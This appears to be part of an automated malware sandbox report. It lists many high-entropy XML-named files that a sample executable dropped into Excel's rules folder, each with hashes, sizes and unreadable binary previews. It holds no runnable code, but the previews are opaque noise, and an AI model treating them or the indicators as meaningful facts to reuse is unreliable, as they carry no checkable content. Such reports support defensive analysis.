SSDEEP:	24:LLRY97a2h22vUmVphorXkFWgBNmgtw0TwXwcjBPp80kQQD4rSD8sm4f/ibD:LLRQa2k2vUmKrXUWgB9psXwcjBPp8iQK
MD5:	591470576907DDB4AD4267E65DBC2C9C
SHA1:	E2D261A5CF0476C8EAC33CE222F99EEB663589C4
SHA-256:	107EE12C54F220499C3F6268786125FD56AB387109C852CCE0B01DF4F62EE20B
SHA-512:	55276323098E408F1E2FB1A3FFC4A7D8B0E1B14B75D5805559B4E5EBF3021B12E65BB4375452DEC9F8133544BDA31598365C88DE358BE7A5A6E771A92CC72517
Malicious:	false
Preview:	<?xml.v......z=yR%;U........]Y......X..f....4..O.@I.....z.]..._.5...)Xjl....G.............U ..Q.....A.\|...+.t...1.....b...&..B.H...m+..R. .,..>l.y.K.W]0^,.~.4...4.$f...1..V..)....rB..N]oV=.%.....cV.3.......KZ...j.r...)H..=..Z.....{.1..j.N..W...(..Rc..7hg.".m.....q.x...}..J&..s9.K.&..c.Q.L!.#,..]..0T.m8..{....uQ._...9w.<m.....4...!4k...........G.....h.{...7.!.R....#P..D....?..Lq.>.E.X-..=_..;...R,...-.s@.@0.{..3.^a...%;..N.h.;..q...%.V,.u.....>.@...t.]m.v.U...............RV.Ws........'....%.hka.SD.........U...y....\|..@u.3.....%.............@......z_.pJjy../.........p....7...".@)a...x{m_,....X..34..4......:...6.&.]z.?..,..2....&F.ts=.....]?./`o.fp..X>..,......e<..~.#.......V..).{...#.m.b.R..Io.....P.....A....#`..O8.h.TK..q.nq.. Mm..f..G....q:.R....~..;........D#.Yo. ..H.D..vO1UI..`..4....H.@..K.J.j...Y.....$..o...)Lo(..c..?HL......6T../.......E...D. .X..i...j....P...0.W...iN.1 .jD...WL6.zB.d....=-....B2.....].c.Y%..........'H.#

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10907v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	937
Entropy (8bit):	7.772285352728296
Encrypted:	false
SSDEEP:	24:/kENtSzSx6m8hqRvsrvpEvxidwWuZqKVDoI/kNoPO6bD:bNtJYB+idShVDoYIo24D
MD5:	4FBA7107CE9EB9916BDF89963842A2C2
SHA1:	85209401977FBE699DAA6DD7ACFC6AEB5191DCE6
SHA-256:	88B8A44A80F14C190B6C2DC8F2A34A065BF0AC2BFB608EE2B5AF59A4282A1D7B
SHA-512:	FD10E0FF85760547ADE8995D9EB4618C56095AB0345E4BF0681BF4D8E8A574C067E4CDFCE98B28FCB458E75E4FD74A768F127C749D5DF414178F8C7F08933F41
Malicious:	false
Preview:	<?xmlpd~.S.......l.l!7..C.}.+......w..f..@;V.M.r..n4o"..-j...P..I.W-z(t.p\...K...!Yki...h....?E...>..+V..q..(p.F.6...E..lqbpsS...i...l......<..%<.o...u.2..].n..2.]..%B.[W."........._y.......W.I..OW.....t.X.`.anxt.kU.m.vJ.s..C.+..f....c."..C.....Q...1..ew....k.W...`.+^...3[..2f$)r..n./.......H.........5...~...y.z....^....I.Mx.h...o...G.O...4..?.z!..Z.PK.'M...f.>.%!.ut.Y...`.f..h..w.....J>k...7.S.I...8....{..aE7%.M.X..jrJx.L...E.mM,..K..i...c_!.?p/....D.....u.;..K...W..S..........N..ui..........sp..{...t.....TJ...;...Aw ..K.`.zh,.e>....g.?@\=Mm.Ec:.....p.....a...!....a7j.">..Z..6.(6%wz'1..`.......@.6N......q..`x..O...I.?.Qg.&..a...?i:w.?.W.Q...}.o.L...~..Y5.g...3..(...Axo. ..se.S?. .a0...0.LA^...q+.yi.G.....+..$.@..4..x..Z....?.&.2j9.U..`k.kOZkE.X....'.{.3.W..LA..........S.+.)c..}R.{g.....<.....\.lHNK......aZ^SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10924v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	891
Entropy (8bit):	7.758171342132975
Encrypted:	false
SSDEEP:	24:OpuxkdOoTgytCt9ycZCnDyE5QNKBgSCIGhCxojbD:sUQOoTivyNDyfNKBgn2xQD
MD5:	0E27F196654337C3FF303AA710BD5608
SHA1:	6B7258BA44A8118E28FB6D5899C64967F081F5B4
SHA-256:	9A15DC1D6D8AB79A5DB780B8109776D184C8FCDCE2F89542DB4BF6C35E2D59B5
SHA-512:	B8DAE4099308EC42B22189EF943B7280D9E5BF6C77FD005E080699154CCE5D0C517AA35F319545101876F213F8F3D47CCA61CC7AA76F8292673350069BE4209C
Malicious:	false
Preview:	<?xml....i.:%h.^C....mI.\|...`..j.mvRa......-..jK.3.....p.....$j....,........807>.g.:S....._.7;....(D.:.c....2.!..a.z4...P0f-..e.....4.1.V(.P.+.....iX..=,Y&!...L..9..r._.Y.>........^{....@.P."...Po...1cK.{.1.uX...9.........\...Q.KK....N......3.".c...........e...c....E^..._......F`...6aH.B..i......k0'8..=Wp.9.1.nO.Dj+..cP..a........S.@.....@qT.....Ls..V".\|.z.7.......cTu.m......i.1[.N...q...o.I=`Z%..g......Ml{.sZ..M..H..D8......A.N.W.L.wP..'U+/..@.K..>....]...Y.....B..c2.V..N.....e....n........`.._...K..h..~...#..{.].....t\...A...C.P.(...c3...H.-.cP.&a.O.2...1......ha.....,....H>=.h..b&h....$....B...^5`l.WS..]..%...$I...jr...a....."z.F..........v-2!}...J..b..LA..Mkl.{......L`.w...d)...u&..\|.....b.;...0.N.Ka+N.Xv.....r.3".........ci<vf<b:s..K.u..R....'..N:i.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10925v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1049
Entropy (8bit):	7.815654568203313
Encrypted:	false
SSDEEP:	24:qen7qOilQtMdObgA67+A4nRAE8pxJVg5+c4+OkY6abD:PslQmYTvADpPa4+D4D
MD5:	804C15057A4FA94F915628401A5E6A1A
SHA1:	607E733EC15A91D2D68EAF9A6596A11564E41A74
SHA-256:	9A57D86E3332F006F42810EC1D53FD299AD88D652CDC175E8B3605F3B7D8FB2C
SHA-512:	4C9C2097E4A6BDD05300E9A2C0ABEFD44F5E695A7052C4978F835BA060F4180037A8A4DC7EFB1BD227F843CB2C11680EFA6CCCCB4BBB75DC0BFF7824D2A01486
Malicious:	false
Preview:	<?xml..$@ C.W.g_..<.-.f.1...I...E...n.o..sU.w..G...K0v..^.6.............=.w..G..b.=+.6$....5.....l.........2....P.$C.MV....`..yD.eg.o.=.r..E.d~...on}.rT....8.r%e..)[>....2.R..u[.gm1'O.....;...>N...y..~v......q."7Nr.1]..5..$.....G....}'..R.3..8....a].LE..+Y....i.YkR....Q.T.........0..9../[..]}.....7..?L......\|@f.)..w..r.O..n.8T`...a....H..-....h..\|s.\2.y....3iM.f]...dy..vbG..Wbw..B....(......M.).YS.Z#....\=m...>3..m...4WyQ.#...A.......q.,......n......Ys....;]....{W.!..N\|..P.5;.g.aK.k."..U..u..'.....k..)...\|r..sb.+...e.q&0x...UR.Y..^..}.<.F%..'.......H..t]_.w...g..Tl.%.....S.[.1....x...g..5B+.B.TL'Xo.`..,....iu..X.8+(..C..q$..&..t...U..4.E..O.....MjK.p..Zx.......X.6......F.....Ib..Mp.k..+e..G7\|..`.P...\|..V.Sn.M..%bh....<...z=y..B..=.B+..:..7-.kz...U.$6.x..Q..$..!./.5.k........9S.CA.0@K....n.m.C.....H.@.'..%..u...1...]9W.J.......p..UQ;...z.TK.Y...6}.^@..E..".l]....`..[..j ;O......Y.M..Y._.6p{f.h?.aY.SLibyJ8nZP43K8X6Ycor9IxvOlsKH

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10940v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	885
Entropy (8bit):	7.74852500777904
Encrypted:	false
SSDEEP:	24:PQatTb+0FrIR6aMYmB+Io2Gl5TYYMC/GbD:XJFrsEG7ENEUD
MD5:	A12C8520C7DB7FA732A417DA8EB210E8
SHA1:	A55917047BECC3CA2A29B82719D1FE1F4BF6842D
SHA-256:	FDCE196B1C3ED584DED53BE37A78F092C51DBD7944782A22832D0D32449E2AEE
SHA-512:	489068E65CB6B9BBBBF560C83FDA9A076C563A80DFB91210534F500C2146AF8999C3B8139039E96AF53EA2CA02640C60628C307848504324BAEFB0CB284EE715
Malicious:	false
Preview:	<?xmlV.t..D...$#.L..#x.g....!....Krn.wU...O......5.......O.x=.#.3..8....f...8....m..&d..<....W.Kwt...}..C...yv.8..'m.g2...fb.....y...j=./..^k........T..w..........z........f...8.m....^.=...D....(.J.q=...Eh~..n..9....D.<...}...Jv..HA3'.....>.P)./.6.........._yD.9h..f........N.e......B..Nj<.n.q...W........<...V?...t/.x..cuH..;#.;....1.X..;.........y...5.if..o~>..z n.DW..r..~Y.....[..(.#...V.5s.'N..v.t....6..{..]Q......L...d..s8..F.H../.$....R...J....B...q. .\.&..].../axbL7.Y[Q..;T.m..............h#.x...l..<..^}..Tf.E...Jb..b,...pXR].d.5...fJ.#[..X.0..z=..).s\|_O~.q./....Es.(..k.....4.H.vB".X...."..........k.R1zF.+>`y..I...5..BH.d5...........F...}.w>...*b&.g..;.zd5.Z.hR..~.(.G.hnA.0.4x...5.RE.4...`...eC?........i..xc.c...g...z...`....?.$..4..a!.[....PSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10952v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	8529
Entropy (8bit):	7.976785698926498
Encrypted:	false
SSDEEP:	192:wUutwU/38I9lV5Nn+/dgpmyk+KteszYg76s6JrcQUh:OwY35Nn+SIyPdszYRs6ZcQUh
MD5:	B9DB20DC6A20F76F6B1BFBC6B81FE9A8
SHA1:	220F230121A407504012ACA39AE2E2113089CC1E
SHA-256:	202605523F155ECD55628CAD71C3A2C74AD458DF76B7B483E3993234FDFB11B9
SHA-512:	8B0D1D1B989BB1D43CF67D6AE4B5D6C82CB947EE68DB3488CA001CFD26AC1D811478CF124A66177E448B520920D5FB5122B9CB0BEF47F7DC8F2764C1E53DAB98
Malicious:	false
Preview:	<?xml...~...sj....<=l.....D...d....\|f..1...C...T..L7.J.!..n;.....cr\3......\|.~.p.X.1:.0.woy..P....'.w...b........j...i....v..+V.g..}.uy.J.D.8;yUT..ql.<[..".b..u.... .=..-..VZ~.gL.>.......F.e."C......ECy.R.....;.h.0=m.0...RCD..Y..\p`OfB..L..8[8.r...:.1C+s.U.....&z.dr...Y.u.....6Md..?.H.9.....>...%.m......X...:$....#'..#<.b.&&.Y...N..S.g^(.G..{. .).-..]..0...........D...hb.nR3..$....$.C..R...%/.......tJ/~......F0...../."F......X.V%.....k.9k...&.:.$!.5..'.v..{.j\p.I i..~.....c..g ...4C...V\|.2..B...!...ToL..g..$._....dq"...zL......[...A....X._.6..y.[s..s.....t..k.u.T.B-E.=.p!a.......r..}.5....5WL....xd."u4.........!g.......j.mub....DaY.y...<k#.y...+.h...._.....\....!9...Gw.H...\..T.=. .."`.3).8..'.ex...E...&y.gk.}.T...d!2....;...%X......vST..BX..X..4.$d.2..; 5..x.1.J^..<ZNH......D.....^.C.n.....2.<=r..K.x....w...N.n...4...Z..4n..&v...c.kE.K..3.7K...H.+.f7...e..;F..J....w,.i......3.'.C1....,...G.~6..T.FU6V.o.0i.<iHM.....m.]N...J

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10955v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1242
Entropy (8bit):	7.835439939174748
Encrypted:	false
SSDEEP:	24:KNLuVESnf2rmKjOKSNEOgPocH0oDyBJMdDSGvRAebhdhgq0EmFGrjbD:cu8rjj76EOZm8qQm6c3hgq0HsLD
MD5:	70195033CD820BC57CB5BAE842199E9E
SHA1:	1F62CD703468CF78B90E329842E973A98E3A10EB
SHA-256:	C537F8317ECB14421119DDE43DC2DB65EA39996A502BFC545C1CC81173E18484
SHA-512:	FCEBB33BCB908DB19B9B07954AEFCBB13B1722FDAB7481635C6C76E27B73B5E54BD505D2FB1BCD6E31DA4172B1AFEF2C22F37E9C8E619CB629878F6755D100EC
Malicious:	false
Preview:	<?xml....p.c...@A}.#Z.Hl(&.qQ....{;`b.(. h....3+...Zn.<8h.ty3.......e..r7.h..b....O....F..H.t.}...p!C_C.e<J/..f..c.....ob\(...(Z(`A.._E................7r2.A%.$....d....^+...O.x.b.(h...O1...[.[\..V.y..j/...:&...S.h.......[)4"..eQ\T.4.Q#.@.Z. 9..?X...........{..V.].tWC.;w.B...{.E2..gXY+..]~.}...!M.?......].....q..........6..~.c?.l\JiV.6lI0R<...r..7...!Z....1.N..~FW..@C...q... W.NdB...;C.a.5..2z.Z.LF...... q..._r.b..O.8n.j..R.S..8..'..t...P..qce....b...r...j..X.Y....l~.'.m....m..b..l-@-./_;...U..?......r........d..[a..\..r.....h.#...l.@`.iI..0<l.>.Z..b....q..[Y.....!.i.&...$.xM.s..~V.J15<.W.9...V.=.d.T.<.q.l9.....W...7.J....:.(..e..e..U..AS....cF.....(...B..z.#.6.J..~....(.Jm.X....N...c.......v.>.....[.....dQ..^....=G....6..a.......P...\|2...Z..._(...Ab...M.J....e..H.w..Q}..N..$....\..f....m.A........!.............br2)o{T.fv.a.t..C........}._........7. wpp...ic.....]H.t.>x..k?.D..^._.....n.../D..[..\|.:b.ur.\|..u..g\.K.$

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11150v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	7.817235954497416
Encrypted:	false
SSDEEP:	24:ZEbGJMP4sA7/9VvWvvlCUEzJAMH0euHL0/g2rBmLCdwSRWqbD:+bGN71VvMHlMKHLI1cLi4ID
MD5:	BB103314A1AD0A6658C8050666EE35F1
SHA1:	9116BF93A33DDE384F69D1F8E0830EAB4B29C270
SHA-256:	7E72C429DA392F97731A8575FE4B644F49CF31901D0BACBB18B1ECA6DB965399
SHA-512:	DFFC082A1435060A5D458F0ADF42C2F52449A614AABBABB4B9E97BCA7F64D3AFD8199A1647837F973CD82809BF854705B0D25F386FB8C553618886ED88F1E289
Malicious:	false
Preview:	<?xml...E....!.+...$......?.;a............[T...}.......b.K'.....^."$.BO..D'.Dd.qo.:..F.r.U.TS50..MD....P.....).%4#........IH(...{....O..:5V.E.....1<r..+.s....s.J....?._I.V..F...IU.D*w) WAR..r`O.8..aI.?m..s..;d...T..Z....b........B'........XQ..`JJ[....g..%.....hWb.!C...}...."..'..Y@t.X...........9.j..y..s."1.2..N>e.7SOT}3.jo..]O...J5c.K..9.H.c._j..0k.U.E......N&.&.S.w...P......y..!L....%..0..g{.=>...H.#....u ]..:..6......-@...j..b..^}-f..>...T...>0.=..:..'...\i...+/8.UJ\..../w.1.). ..o..u...u.-0....r.b...UKV.8..,kUz.......<...A?./.........U..6.(..q.....E...[A...q.....?....#.%.......&.2{J..Ua..T p.K.X.I..j w.z.p..E.r....%:..4K..3F3&R......a.X...T......CZ.5>..Z..}..k..b.EObr..-..5....[....tt..FX.q.w......mm.N......p.j.z[.W.m..L,H.D..G..y...u..Z.F.mc.S.M.Zv......X.g..u{H..W......m~V..^.).oC............~..0[C.6.v]..I'..}.w.&.n...,._&c.,.....YkK..o.y...D...c~....4.<F.J..bM3C.@\|.....R..[jg....9.....vJ.!...d..l.t...ru....k.x...}F.`KO.q

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11154v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1073
Entropy (8bit):	7.809830485777014
Encrypted:	false
SSDEEP:	24:xFyxaq1fRWt2x9Sc2agqhhB8NW+qOLi4rJc1YetQ7BDUyyvwobD:uxaCot2x9SB+V8NWv1YyQFDUfvwyD
MD5:	7DCCD8386F6720D62A9F18C0E9714BDB
SHA1:	C958603C3C732E2DA258FD718503A6518A0731D6
SHA-256:	6CB00D08DB78ADC6A4DBE957B16C450B2D3EA67F9EAB3223EB07A7795466A5F3
SHA-512:	A9716E7493A97B9C0A9548EF3808F2258AFE33B06986594B06B8C96265448B8294EC2E67B967618D23CB59CEDEF66EE7594F7BA4776191F3EBD408021AB3F900
Malicious:	false
Preview:	<?xml;.VOv.y....F.5....i...,.I.........v...z]K.....!.3.....=...k......n.;....bI...3cmeK.}t%.....1..8../Tp]...Y%..x.......x.:my.>.[.4.H..)p.X:. PF.,.S.`<6-......._......b.=.g.k...~..._.,.-..v...'...Tnf.....mSh>M.....$1.r...>..o.....t...T..935..".*...O.NzH.n.".`~..2..1a.`.B.{.QE..Pk......5'Z..x.+H.(C.J.../....-.^..$....;........X...N.h.Y.......`b.....0H.g.".t..R...9.U.,m....@...{<.`....H..b-.>..9.....K..vsA....,....A.X.d<.AWM..\Y&.}cY.`jsj...o...kv..q...'....4.>...........J.... .....O...e{V../l...U..ZY..[............[iYm.jJ\4.8,+...63k..D=...M...58..nA.K.&.J\Y..%.@..3.)1...O.2?..&..Q..%<..e(..$..o.=`.,)\|q...g...~J-.7`...._.).}.x.....-.A....[I...............\....:;..n...`Q>S.S.......[...E..w..O.9Br.?.^fN.NbF.&vS..N?w.1..<.B...I+li.kT.V...TN.>..~O8...{..Z.M.N..._i@q..J.5.2../n.{3..+mN...>j. J...Q.....6. .).~..TI...@.H8......uz9u..x..F.\.RM.._..i...F...f........}f.....-...M!...... .!+..:..$\..#Jh.^]...Q..;u.b>&./..h'Z.@..].6.=..f.[#SLiby

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11187v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	3232
Entropy (8bit):	7.929587162316186
Encrypted:	false
SSDEEP:	48:2rouM491Y/vA+qQTQgGU3R15zCW1A+zPW1gZrnpy+vxa8bqycs9ucrVYNVMIbk7D:2V98+QIUBrzCWhcgZrY8NwaZYN2
MD5:	69749855DC94E6F68C2352BBA9420C6A
SHA1:	02A3FA2A7A385891B9931336236B585806455D86
SHA-256:	DF4BC8A1FEB93D0806E363F50408A703DBAC3443F2BE26E5C6FE998ABD302090
SHA-512:	8D04AC84DF2540D26F397E1BA4677B129FC89171C60D8341F8293DD3A36A42143EB24208D6771CE8EF3C398EC7F2CEEDAA95DE4038C0EC76D237E6EA98B022FD
Malicious:	false
Preview:	<?xml...'.lL...PQ.@ki.]..^..&.P...)t.......m{EbxiO....PAH..i.c?f..P.q[8.;d...A??X..~....8b..h.~.....4.....Yeo...?...h...v./.........K....C.B[..~4g$..........m.#....e...=.}.....h..Y...nKI.R.g.Q..V........x...^XJn....m. .............q'.>m.c.I_=..../U..C..r...JX..{.^...."T..20/............"B^....iTm..e.n..\..!Xf..,..U._.4?.....r....,.\|g.!\...M...Z.]8.&:.c.}E.`;.Kw...3..........Oj.B!.9...B#..TY.K.0.....u.......;j(......f[R>..%...?.....MW#~.B.....S..R........t..._..t.rR.w... ..k...cSB..\&D,..t..i....R.cQ..m.z.....X....P...U:....~.i.f....Z.e.pM.WK...x.a.gj.9..;......6t.L.[!.a. .T...V......4..=..e.C..<.D-..U.-...nb95.x.Q.y8..eC...v.....@..`.2yBH...!U\|5#.T...Z..C..........d"..F.T'..l...X0...['qj.Hv...:...7..,.xd.c>>j......k.........F.;G. .I.....-.U.....J.3.!0.P......@....7-7...e......f..S..b..\.1..Aw..:36..n3..[..R.....WY......@.5...........6...(..._..t..."..'..,....X)y..X..p.\|.e..).....".H......~..5....k.].YS..S...G...Xos.-P...i.......)Jx.R...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11190v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1231
Entropy (8bit):	7.829919993168439
Encrypted:	false
SSDEEP:	24:E5G/hmgeLxAUjeDvMBNVUhsqg8Po3r/474GHAA3MJgH/hlblrfSxbD:E+p8uU8w3b47trM2H75fShD
MD5:	E8CBA54B272C3281D622F528781FD922
SHA1:	0A90D97395D10544CCA117051B2F66F21DD36033
SHA-256:	1FE32D6CA5565F57E62E933384A966353B1A6B921314AECC9378B00893577EEA
SHA-512:	87E8B18409023E56FAFC3F2B432DFB0BF5DE2CDF3A26A3B774412D280465491AABBE05AF51E43BB9780A9BA06767DE5B2B520B621C514DEC1BA612E61924400D
Malicious:	false
Preview:	<?xml.....w.W..}.^..pYo...E.C<V..9....#k!..PxX..<@7.P0..H.......6.'....5.~.^.X.,.@.I...1.Su..~O..6..J.B...!X[..v/......V.<Z.T~O&.}..X.yt..(..P.......; @.L....(.5.N2..x?......K.a....,(.....w...X{$....o..?LS......cXDN..iq.L$~!.....}.?.y&.(.n.[..o.O{....a....M.H..i.....k...&...}'......?.@........W.x.?.N&W6}.k...\..R..v,..;..4..........9.o....B'i.{..^..a%.]1..~.......KF.e..6e...ag....1.y.%.L.l....rM99........(.........qT.`-....OF...^S..Z.....%...HS{... Z..?.X=..a......x.p...1...l.:.u..l,!.T.....$6..L?.c..V.'..5H.I.a.TO..2AQ.......]....{r.n:......=........&.[..V..~T...k.<..j...(j.........,...c..7y.d.N....V.,.X~....2..j..A...\|.i..q....a.._...S......+...q../..A..."^5.<.,.....B.P..Bt..[...=G.4F~..{.j.K.V..tu.j............/+.L.p...=.b....S.?.#........E..b.......2Hq..../...2...\|.}q....d.8.-5..IIq.>..\|.\.6.....N..0.g<.^.......UZ.Xm.r.!1'...;X.G..g..c.'.M.d.R......h.\.#.&...&..#..N*T......Y.T.Z...>.:".#....N..4..:..l.yA......I.D:..Y+..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11195v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	7567
Entropy (8bit):	7.9791669044929865
Encrypted:	false
SSDEEP:	96:ho4Iem6KLvZRuM2Uh8v98NgNfnxlaI6V1h+aowojVbHJlRE4YBRM8Xc+GBN:hoxBRuMHzgNfnxx01WjVLNE4YHM8XCN
MD5:	15592C7625F7608DE6CBA83C7B4E1EFA
SHA1:	0B2596C4389EC84F995D0FE6E8C5318D691F4010
SHA-256:	90583793EB90E9A68246D68ED792A5406469CE73838EEB5FDF6CBD23475F3981
SHA-512:	8EC69B5177C0BB46B42FF5641C02424BAC3DEDB561BA249134A223938FD39E914B5B907AB4A3CC85CB004BBA3604837E74C4838459C47B389801320E823E5C1C
Malicious:	false
Preview:	<?xml.._..e.$.m...G..i..~..^5.2....S.......}.X...._x.DUf/...........!8...R.....=`.P94P.............h.8.>..\|.`....\.......yf........+O.E.u.. j..U\....?.gQd#...w..n._...(.p..r..fsW..t.&xj.".Q....VB.o....U.}.A.v....\|..K._]..1V%.\|4..7pO...uE".F.y%...?...W..O....\|.....v..7.Dy\ .C.[...%KMh).... ...C...s....I.,&..>.E./8.6.^...'....}p.+...r!(G.......'.L1..y.=...t.+..~C....z..\N..&....e"...:S...ua.QFr..C7...........5...tE'..A.s5bJ.........s..]...WgOV....M..&..e......3#...Rt.Tv........Fm......9.\h..<.G..'.a....../..s4.!F.U..p..U....[P/.ew.V...]..]..E[.2.{.bLPV..0. ...1..<.....[4$.J.l.P........{.!3J.."B8..Ji.a8.O..K..p...~P..O...,....sI.#..3.'..@7#.".....pr. ..g..0?`\|".6....t..:.:......5e.M....y....RDg7.]..p.k8....f.a...{.......9.o....g...B..bE..;....8BS}T.7$}..wp...........f......G....u;..wM\...$.*.....0.........<>...Y#e!..M>.SDe.(..=...'............5..g.f3.....Sn;.3.,.3\|..@......`.Z.pH...{.;n......Z}XV.uW..m.Q...c...j.w.F...<...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11208v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	816
Entropy (8bit):	7.693889219234067
Encrypted:	false
SSDEEP:	12:JHKdSN8dWGU5pqDCL/SFVKHjFYnzVqrqc6tJqIRQtD1sPU9JN6aC3fchY22+YzLE:wxU5pLafmFYnItQFsJqVf4gL7iDbD
MD5:	44EB173EEF89059EE3B709442C911436
SHA1:	4C7772D7142A5AA5B328364EDD15D0660C6C474D
SHA-256:	21B4C0656D868CD66CD0B143F67554837C3D9AE64123A6B52CBC8982378FA0E6
SHA-512:	FB5165F0C731272B8ACB16F02DA0BCA65BFBA254E583A75AECA337CC9724068B7B57F9F27E1671D4DF034DBD614D90E0F46E0D3F442F484C1F459E437F952E32
Malicious:	false
Preview:	<?xml.._gNC...xF.@..@...E.g.n"...h.5.W..U7{._...#.S.B.(QS..z...D=t.^..s'....(.6d!kY.P3.O3_.+^7..@G....0.{Z......#3.)..%."...'1........+63G.Qi...v;.:..)L.w..\a...&..N..g.6....&.HL}....l....S..n..lb...._...:x.xt..rC..4.v>..ve.u.!.1Ru)\...7......q9.$...c{)-26..=...=..R.".=..+i./MrK..(.z\.e-Lp@!Q...8.....{J....y{..f.y...$....v.G...F...w..QM..w.nZs.>..,.[..v.}..........m..n....4.g..qp.3.L.[kb(.?YB.q...::.".....J.?.x..`R.;T.2....n.L.p.x5..D.kG.7MRw#..z.".....8.:...QB0w..8 .".;...H..G...VM.../E\|.....YNl.....AQ....^=..........l...z..GN%.."N...O.........Xihi..5Pg...".G.3.Iv...T.$kFb.....d...!L.:D.N.I..^......]....-.T..M..Q.\|....q...E<9c.A..:..v../!W.\o...7..[.q%..e..Me.t.Z'.....w.;A..=.w..7.wq...1.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11209v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	2272
Entropy (8bit):	7.896761532716765
Encrypted:	false
SSDEEP:	48:UNZvg31myMNm4dGTEf+h4CWyOPyVeLC46biZFNpPKvD:UU4yMU4dGTCE4CWyOPse+46oF72
MD5:	FEB9FAEDFDB27DAEA8E220924629FAF0
SHA1:	0FE6CD0D8DB1C184DC15BA64C5501D687673AA1A
SHA-256:	83FF0015CEEB701A7112AE32321DDBAC261EAE3075E69484E233DF74835E0371
SHA-512:	AC588F6F48B4330E67A663939F6E4162A3A6BB18B7557C528026CC5B6752BD0E6AEF866A1C5FAD44B148F74F635A6D82594B5DA0058A769B675D3FCE401E36B9
Malicious:	false
Preview:	<?xml..bdI..]u.I$.:y..+.0T...q..?^..B...(.K.!Np.\|O...!.z.....e?k...%c....7..0..^. .v..5(...0....9..EFTO}......!..f..... '..n..-g......p?.^j....S.D.V%.)yn.k~.m..C..hR.w.`.0....YucJ.-...]2...82c...1..f...3^..:..,.j.Lw....."..j.......Xf.<....f$......e..'.a...JBv..n....%}V.a..Gv..S...]CV.D._D.u.U+..H.........t..g.9./j.R.........+.4%I...U..0.. ....'._P.).4h{F......w_-`..q....3.t..+...93n.c......M...`F>.?.).3Pf.1.r..?...QF:..x.?_o....dTD.y..\"Y..exr..Y.....!k..j5XR.4R....{u.O5cC...D>......}..4.`......M.....n...9...t<Z...fM..A4..(.&.........i...d..e.,smD...<7.Gbl.+xp...\|....0.`j.2....u..,7...".......s9p......i.=c(.'...l.K.3.O.{..J...+.+..DX>.k.?....a......]...2...BZ......B...Y..\|T.....$..^+]Ek...U......<h....>...}...Y....B..>.[....J.RoV..T.S.........(...a..%.^vC......4...Z.,..B.f..S.H..)..1\|.w?)1.....n."...w........l.u.aK.b1....G..6u..w}.E...D.A.. ..=./..n.>[...u.....}#.........@..E....m..G..H.`.%.....2.nO..z...F6.ls7....)..u[ac....Z.......Ss

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11210v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1311
Entropy (8bit):	7.851382621425286
Encrypted:	false
SSDEEP:	24:QAt8WMq9Wbnbgb3NKqsMSV+ci4HXetdHG4ZsUdsQzCIix4OCS5+RNLPEhT9TFAcw:QAt8WD96n8rNK9f3ioerGOsU+QsCOYRV
MD5:	D31F202C10F1C73F92DCAF485EA6903A
SHA1:	9F3A16F1F21B1FEA22B220E5C325D40D28E05044
SHA-256:	D4219E59F051616AB3D7E362372E9F6F9173EE2B029C1553C4C867203307A801
SHA-512:	DEB7FFCDF6503EC42A3463B8BBBE62C9EDD43F8C61D632E2A58CB61C3294EE5AC61EC8E8198A532CF97FA29B00FF76B79693E91BBB9060BFED65F2A166129947
Malicious:	false
